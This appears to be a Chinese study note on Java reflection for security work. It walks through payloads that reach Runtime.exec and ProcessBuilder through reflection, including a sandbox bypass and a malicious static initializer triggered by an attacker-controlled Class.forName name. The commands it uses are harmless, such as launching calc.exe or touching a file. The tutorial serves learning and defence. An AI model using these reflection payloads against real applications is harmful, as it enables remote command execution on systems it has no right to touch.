反射

前置知识已经学习了 写在了java安全前置反射当中了 这里就直接顺着p神的文章学了

这里就先给出一个绕过沙盒的例子

我们假设上下文只有Interger类型的数字 我们想要获取到可以执行命令的Runtime类就可以使用如下payload:

1
1.getClass().forName("java.lang.Runtime")

首先来分析这个payload 一开始学的时候看到这里很迷惑 因为forName()一般的写法都是Class.forName()虽然说还有一种写法那就是实例化对象.forName(),但是这里前面不是接的是getClass()吗 getClass()不是获取类特征吗 这里哪里来的实例化对象 后面学习了下发现 我们直接写的1.getClass() 但是我们知道getClass()是必须对象才能调用的 但是这个1显然不是类 那这里为什么又能调用呢?

原因就是JVM在看到1.getClass()出现时 检测到你的1是int类型 自动帮你生成了一个一个Integer类并且创建了一个实例化对象

第一步:

Integer objA = Integer.valueOf(1);

第二步:

Class<?> objB = objA.getClass();

这种隐式实例化的现象其实也很常见 就比如我们经常所写的字符串赋值

1
2
String s = "hello"; // 没写 new String(),隐式创建 String 实例(放入常量池)
String s2 = 100 + ""; // 数字转字符串,底层自动创建String对象

然后这里的Runtime呢就是java当中一个可以执行命令执行的类

forName()有两种写法:

1
2
3
Class.forName(className)

Class.forName(className, true, currentLoade)

只不过我们很多时候都是写的第一种 第二种的三个参数分别代表类名 是否初始化 以及加载器 当然这里的类名仍然是类全名

默认情况下 如果我们直接写第一种 那么第二种三个参数就会被分别写为类名 true 当前类的加载器

是否初始化其实很好理解 就是是否执行static方法以及初始化静态变量

下面再来看一个恶意注入的例子:

假设我们拥有如下函数并且name参数可控

1
2
3
public void ref(String name) throws Exception {
Class.forName(name);
}

我们可以编写一个恶意类并且把恶意代码放在static里面:

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {// do nothing
}
}
}

其中对于这部分进行详细的学习:

1
2
3
4
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();

我们上面知道了Runtime类是java当中唯一可以命令执行的类 并且这个类的构造方法是private的 也就是说我们直接new的话是不行的 而java官方规定了一种获取Runtime类的方法 那就是Runtime.getRuntime()
所以也就有了第一行

再来看第二行:

1
String[] commands = {"touch", "/tmp/success"};

之所以要写成数组是因为exec(整句命令)这种情况时底层会自动按空格切割字符串拆分命令和参数;

就比如:

1
2
// 程序员本意:创建一个带空格的文件
rt.exec("touch /tmp/my file.txt");

动按空格拆分后数组为:

1
["touch", "/tmp/my", "file.txt"]

操作系统理解:执行 touch 同时创建两个独立文件:/tmp/my 和 file.txt,完全违背初衷。

所以我们这里要写成数组将两个单独分开

1
Process pc = rt.exec(commands)

rt.exec不说了 左边的Process意思就是Process 是 Java 用来管控这个新建系统子进程的对象,存入变量 pc,后续可以做这些操作:

  • pc.getInputStream():获取命令正常输出内容
  • pc.getErrorStream():获取命令报错信息
  • pc.destroy():强制杀死正在运行的系统进程

简单说:pc 就是你刚启动的 touch 命令的 “遥控器”

pc.waitFor();

  1. 核心功能:阻塞等待

让当前 Java 线程停下来卡住不动,一直等到刚才 exec 启动的 touch 系统进程完全运行结束、退出之后,代码才会继续往下执行。

  1. 不加 waitFor() 会有什么问题?

Java 主线程跑得很快,如果没有等待:

Java 代码瞬间执行完毕,进程直接退出,操作系统的 touch 子进程可能被中途回收,命令执行不完整、文件创建失败。

另外在有些情况下我们会看见类名的部分包含了$符号 这个符号的作用就是用来寻找内部类 就比如普通类c1里面还写了一个类c2 那编一段时候就会生成两个文件: c1.class和c1$c2.class

之前的学习里面我们知道了newInstance()的限制 无法调用有参数的构造方法 无法调用私有属性的构造方法

就比如一个payload:

1
2
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec", String.class).invoke(clazz.newInstance(), "id");

这里肯定会报错 因为我们看见有clazz.newInstance() 但是Runtime的构造方法是私有的 所以这个时候使用newInstance就会报错了

这里我们就需要了解一个概念叫做单例模式了 这个模式的意思是:

确保在整个程序运行期间,某一个类在内存里有且仅有一个实例(对象)存在。

由于Runtime类的特殊属性 导致了将Runtime类设置成了单例模式 另外再比如建立数据库连接时这种情况也很常见 因为建立数据库连接是一个很消耗的事 如果每次来一个用户就重新建立一遍连接那网站早就崩了 所有我们把数据库连接也设置成了单例模式

1
2
3
4
5
6
7
8
9
public class TrainDB {
   private static TrainDB instance = new TrainDB();
   public static TrainDB getInstance() {
       return instance;
  }
   private TrainDB() {
  //建立连接的代码
  }
 }

在这里我们就可以看到 我们将这个用于建立数据库连接的类TrainDB的实例instance设置成了私有的并且是静态的 这样也就保证了我们的这个实例在全局当中是唯一并且私有的 然后就是

public static TrainDB getInstance() {
return instance;
}

保证了我们想要获取实例就只能调用getInstance这个方法

下面的

private TrainDB() {
//建立连接的代码
}

就是私有化构造方法了 这样就实现了单例模式的一次书写

我们只能通过Runtime.getRuntime()来获取Runtime对象

那上面的关于Runtime类的书写如果想要正常执行就可以写成:

1
2
3
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec",
String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz),"calc.exe");

首先我们要知道invoke 它的作用济源市执行方法 公式是方法对象 . invoke ( 谁来干活 , 参数1, 参数2, ... );

此处的第一个参数也就是谁来干活我们可以理解为需要指定谁来完成操作 遵守以下准则:

如果这个方法是一个普通方法,那么第一个参数是类对象如果这个方法是一个静态方法,那么第一个参数是类

  • 如果这是一个普通方法 那么第一个参数就是一个类对象
  • 如果这是一个静态方法那么第一个参数就是类

下面这一段进行一个剖析:

我们知道了在invoke当中第一个参数的意思是叫谁去执行 那么我们这里要执行的是Runtime类当中的exec方法 所以我们肯定要得到一个Runtime的类对象 可是我们知道我们不能直接去new 而想要得到Runtime类对象的唯一方法那就是getRuntime方法 所以我们肯定需要一个有这个方法的类来执行这个操作 不然就执行不了 那么也就有了第一句:

1
Class clazz = Class.forName("java.lang.Runtime");

然后就来到了看起来比较复杂的一句了

1
2
clazz.getMethod("exec",
String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz),"calc.exec);

先来看第一部分:

1
2
clazz.getMethod("exec",
String.class)

这里其实很简单 我们上面说到了invoke需要按照公式:

方法对象 . invoke ( 谁来干活 , 参数1, 参数2, ... );来进行操作 那这里我们要获取的就是exec方法 在我们日常自己写那些没有重载的小代码时都是直接在getMethod()里面填的方法名 但是这里不一样 exec是存在重载的 所以我们直接这么写方法名在那个里面就是不行的

1.method(2,3,4)=method.invoke(1,2,3,4)

下面继续往后看:

1
invoke(clazz.getMethod("getRuntime").invoke(clazz),"calc.exe")

这里嵌套了两层 我们从里往外看

1
clazz.getMethod("getRuntime").invoke(clazz)

显而易见它作为了第一个参数存在于invoke当中 那么这段代码的意思我们多少也看出来点了

首先是一个

1
clazz.getMethod("getRuntime")

这句话就是把getRuntime这个方法拿到 然后又执行了一个invoke 只不过这里是把invoke里面参数的后面几个都省略掉了 只保留了第一个参数 意思是 让clazz去执行getRuntime()方法从而得到一个Runtime的对象

1
"calc.exe"

这个就显而易见是我们的命令了 这样我们就实现了一次命令执行·

1
2
3
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec",
String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz),"calc.exe"

其实我们也可以进行分解 把这个命令写的详细一点:

1
2
3
4
5
Class clazz = Class.forName("java.lang.Runtime");
Method execMethod = clazz.getMethod("exec", String.class);
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Object runtime = getRuntimeMethod.invoke(clazz);
execMethod.invoke(runtime, "calc.exe");

如果一个类没有无参数构造方法 也没有类似单例模式里的静态方法 我们可以尝试使用getConstructor()方法 这个方法很简单 就是去获取构造方法 在面临重载的情况下 是和getMethod一样的 也就是指定参数类型 由于构造方法名字都是一样的 所以我们只需要指定参数类型就可以了

比如我们在这里借用ProcessBuilder()类来进行一次命令执行:

在ProcessBuilder类当中 执行的方法是start()并且这个方法不需要其他的参数

并且它的构造方法存在重载:

  • public ProcessBuilder(List command)
  • public ProcessBuilder(String… command)
1
2
3
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder)
clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe"))).start()

第一行就不多说了 然后我们可以看见一个(ProcessBuilder) 这里有一个强转 在java当中反射拿到的都是object类 为了让我们能直接使用start方法我们就做一个强转 强制转换为ProcessBuilder类

当然以上做的强转也许在本地测试当中很好用 但是在实战测试时其实很多时候是会报错的 往往服务器环境不支持这种强转 所以我们需要换一种方法:

1
2
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe"))

Arrays.asList(“calc.exe”)意思就是打包为列表

其实这里可能还是会有疑惑 前面说了getConstructor()方法是去获取构造方法 为什么获取构造方法后面可以直接跟newInstance呢 其实这里还是和上面所提到的情况是一样的 这里仍然有一次隐式的实例化 官方一点的名字叫做内联实例化或者匿名对象

如果我们想要利用ProcessBuilder第二个构造方法 也就是public ProcessBuilder(String… comman)

这里我们就需要知道一个概念了 叫做可变参数 也就是这里的... 这个东西在编译时本质上是数组 但是却为程序员提供了极大的便利

下面举一个例子

1
2
3
4
5
6
// 旧款榨汁机规定:只能接收一个果篮(String[] 数组)
public void 榨汁机(String[] 果篮) { ... }

// 你想榨一个苹果,必须这么写:
String[] 我的果篮 = new String[]{"苹果"};
榨汁机(我的果篮); // 贼麻烦!

我们可以在普通情况下我们定义了这里是要传数组的 所以我们每次传个什么东西还得new一个数组再往里面传 这个时候就可以请可变参数出场了:

1
2
3
4
5
6
7
// 新款榨汁机规定:随便扔!(String... 表示可变参数)
public void 榨汁机(String... 水果) { ... }

// 你现在榨汁,再也不用自己 new 数组了,直接往里写:
榨汁机("苹果"); // 扔1个,行!
榨汁机("苹果", "香蕉", "西瓜"); // 扔3个,行!
榨汁机(); // 啥也不扔,空转

也就是说我们放了可变参数之后我们就可以直接往里面扔 如果是散的数据它会自动包装成数组 如果是数组就直接传

在了解了这个之后我们继续往下看 在newInstance这个方法当中 它的构造方法的参数也是可变参数 但是有一个非常重要的点 那就是它的底层代码里面写死了一条规则 那就是它在传参给目标时 会主动帮你剥开一次数组 也就是二维会变成一维 一维会直接成散数据 所以我们如果使用的是ProcssBuilder的第二个构造方法的话如果直接传数组是会报错的 其实这个定理在其他任何利用反射去给一个需要数组的方法传参时都会报错的 所以这个时候我们就需要写一个二维的数组 newinstance看见是一个数组就直接往下走 然后剥开一层给方法 这时剥开了之后还是一个一维数组 这样就不会报错了

上面我们说了在编译时可变参数本质上还是一个数组 那么我们这里也得写成数组 不然就会报错:

1
2
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder)clazz.getConstructor(String[].class).newInstance(newString[][]{{"calc.exe"}})).start();

写成完全反射就是:

1
2
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke( clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}}) );

如果构造方法是一个私有属性 那么这里就可以利用getDeclaredConstructor()开进行操作

上面我们说到了Runtime类的构造方法是私有的 那我们就调用它的构造方法来写一个payload:

1
2
3
4
Class clazz = Class.forName("java.lang.Runtime");
Constructor m = clazz.getDeclaredConstructor();
m.setAccessible(true);
clazz.getMethod("exec", String.class).invoke(m.newInstance(), "calc.exe");